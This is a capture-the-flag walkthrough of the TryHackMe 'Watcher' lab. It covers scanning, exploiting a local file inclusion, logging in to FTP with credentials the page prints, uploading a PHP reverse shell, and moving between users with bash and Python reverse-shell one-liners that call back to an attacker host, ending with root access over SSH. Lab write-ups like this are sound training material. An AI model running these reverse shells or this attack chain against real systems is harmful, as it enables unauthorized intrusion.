> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/watcher.md).

# Watcher

**Room Link:** <https://tryhackme.com/room/watcher>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fa8MCFZloFytVW3rH5UHI%2Fimage.png?alt=media&amp;token=0a155251-2db4-452d-ae21-568f74ab58c7" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5s0AGawrhxA1cXJVDuzG%2Fimage.png?alt=media&amp;token=abf9cec3-03af-416c-ada0-86148fbf9062" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRdbNMWdVYwBZCOVVdHTv%2Fimage.png?alt=media&amp;token=d4b03af4-2dc8-44e4-9edc-99a2afaafd0f" alt=""><figcaption></figcaption></figure>

**Kali**

```
ffuf -c -u http://$VICTIM/post.php?post=FUZZ -w SecLists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt
cat results.txt | grep -v 2422
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfBKyaejRKE64yTwWrxAR%2Fimage.png?alt=media&amp;token=381cfaa5-1ac9-4231-b955-8efb49d9c31c" alt=""><figcaption></figcaption></figure>

I used my wordlist of common found on [LFI / RFI](/red-team/methodologies-and-resources/cheat-sheets/lfi-rfi.md)  and confirmed I can view files on the server. I did not find anything useful

**Kali**

```
ffuf -c -u http://$VICTIM/post.php?post=FUZZ -w mylist.txt
cat results.txt | grep -v 2422
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9AOG6vpLr0sdc1jix8qR%2Fimage.png?alt=media&amp;token=7737fc74-87f6-494c-92c6-9d89e644113f" alt=""><figcaption></figcaption></figure>

I remembered we had that secret file as well, I was able to read it and it had some credentials for FTP.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMtTglZz3cf3M1Y10YNvg%2Fimage.png?alt=media&amp;token=89031665-5bb5-4bb8-ba9c-8413a0b0dede" alt=""><figcaption></figcaption></figure>

### TCP/21 - FTP

**Kali**

```
ftp $VICTIM
Username:ftpuser
Password: givemefiles777 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPOsn1SOucorLwUzrW4Dp%2Fimage.png?alt=media&amp;token=60c35819-5bd7-4eaa-9af4-16d259d91462" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
nc -lvnp 1234 
```

**Kali(ftp)**

```
put php-reverse-shell.php
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJpEwVdMPA4XjYdfAlpDQ%2Fimage.png?alt=media&amp;token=f82456e8-cca9-4fd0-b970-8fb255638996" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2QWoEX5z8AAZBfKv6gec%2Fimage.png?alt=media&amp;token=91f91b5d-d3e4-41cf-81c1-cc760b6040b6" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZNtMx7O3W1NmFBTU0HCz%2Fimage.png?alt=media&amp;token=4426c23a-84e3-4230-890b-0712d81e0b00" alt=""><figcaption></figcaption></figure>

## Lateral Movement - mat

**Victim**

```
cat /etc/crontab
cd /home/toby/jobs/

sudo -u toby rm -f cow.sh
sudo -u toby touch cow.sh
sudo -u toby chmod 777 cow.sh

echo '#!/bin/bash' > cow.sh
echo 'sh -i >& /dev/tcp/$KALI/1338 0>&1' >> cow.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7hvStyQqwRoeKKd3VjmX%2Fimage.png?alt=media&amp;token=56e03597-6795-4da4-a159-4e765271254c" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1338
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3LSOTw4bYLcWsSSPGbVJ%2Fimage.png?alt=media&amp;token=80630b3d-3fd8-4cbc-b7ce-2a1655cf9f57" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

## Lateral Movement - will

**Victim(mat)**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiIOGLhJjiPRupKkYBR9L%2Fimage.png?alt=media&amp;token=a698344e-7f90-44fa-b6e9-5dc96e5ea176" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdJuUQpVyCrBOgQplRBnp%2Fimage.png?alt=media&amp;token=f5f6d3b3-ba01-4bfc-83e2-015447a48d59" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 4242
```

**Victim(mat)**

```
cd /home/mat/scripts/
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$KALI",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzSobvUh7aw5HqtmDnLOg%2Fimage.png?alt=media&amp;token=efb33e9a-4071-452e-97e5-e255923c0342" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

## **Privilege Escalation**

**Victim(will)**

```
cat /opt/backups/key.b64
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWKNfft5KyrDt66D676vw%2Fimage.png?alt=media&amp;token=7b47dc82-783d-4e25-b428-53774a066bf8" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod 600 id_rsa 
ssh root@$VICTIM -i id_rsa 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjH9hbvSp5SuaA2QfiPD0%2Fimage.png?alt=media&amp;token=a3f4928e-0f4f-4963-b6e7-43ffa162e63d" alt=""><figcaption></figcaption></figure>
